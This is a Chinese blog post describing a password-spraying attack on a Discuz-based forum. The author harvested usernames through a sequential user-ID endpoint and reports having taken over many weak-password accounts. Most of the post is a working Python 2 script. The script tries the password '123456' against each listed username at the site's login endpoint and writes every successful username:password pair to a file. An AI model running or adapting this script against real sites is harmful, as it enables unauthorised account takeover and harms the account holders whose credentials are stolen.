您的位置:首页 > 其它

[漏洞利用]某站点登录接口暴力破解脚本

2014-12-20 19:19 337 查看

在某discuz论坛上发现发帖的用户都是登录名做昵称,故注册了一个帐号进行登录,仔细分析之后,发现有一个url会根据id返回相应的基本用户信息,而信息里面包含了用户名!并且id是顺序递增的,这意味着我们是可以使用脚本大批量获取该站点的用户名的。此外,经过手动验证,该论坛的登录只做了纵向暴力破解防御,而横向防暴力破解是没有的,结合这两点拿下了该站点很多使用弱口令的账户。

注:

纵向暴力破解:即对单一账户使用不同的密码进行尝试,如果应用有做防御,一般会出现验证码或者锁定之类的现象。

横向暴力破解:即使用单一弱口令尝试登录不同的账户。一般情况下,为了用户体验,都会有至少3次的尝试机会,因此,如果使用高频率的密码进行尝试,则命中率是比较高的。

获取用户名脚本(此处略)。

横向暴力破解脚本:



#coding:utf-8,
import sys,urllib,urllib2,cookielib,time;

url1 = "http://www.xxx.com/mobile/xxx-login.html";
url2 = "http://www.xxx.com/mobile/xxx-post_login.html";

def s_request(url,data,step):
req = urllib2.Request(url);    #构造要发送的request内容
if(data != None):
req.add_data(data);
req.add_header("Proxy-Connection","keep-alive");
req.add_header("Accept-Language","zh-CN,zh;q=0.8,en;q=0.6");
req.add_header("User-Agent","Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.131 Safari/537.36");
if(step == 1):
req.add_header("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8");
req.add_header("Cookie","vary=ad6b4f8d4c39539fa40661c653cd4a4f6b65742dbf71bbea39c0f33572385dc0; Hm_lvt_4f2975be01c8951042db4fd8dd38717b=1399626611,1399700907,1399774576");
else:
req.add_header("Accept","application/json");
req.add_header("Referer","http://www.xxx.com/mobile/xxx-login.html");
req.add_header("Content-Type","application/x-www-form-urlencoded");
req.add_header("X-Requested-With","XMLHttpRequest");
resp = urllib2.urlopen(req); #发送request,返回文件描述符
str  = resp.read();
# print str;
if(str.find("success")!=-1): #存在success表示登录成功
return 1
else:
return 0;

#自动带上cookie
cj = cookielib.CookieJar();
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj));
urllib2.install_opener(opener)

u = open("D:\\uid\\uname.txt","r");
l = open("D:\\uid\\record.txt","a");
s_request(url1,None,1); #通过url1获取cookie

while 1:
user = u.readline();
if(len(user) == 0):
break;
user = user.replace('\n','');
print user;
data = {"returnUrl":"http%3A%2F%2Fwww.xxx.com%2Findex.php","password":"123456","uname":user,};
data = urllib.urlencode(data);
if(s_request(url2,data,2) == 1): #尝试登录
l.write(user+":"+"123456"+"\n"); #将用户名和密码记录到文件
l.flush();
s_request(url1,None,1); #重新获取cookie
u.close();
l.close();
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: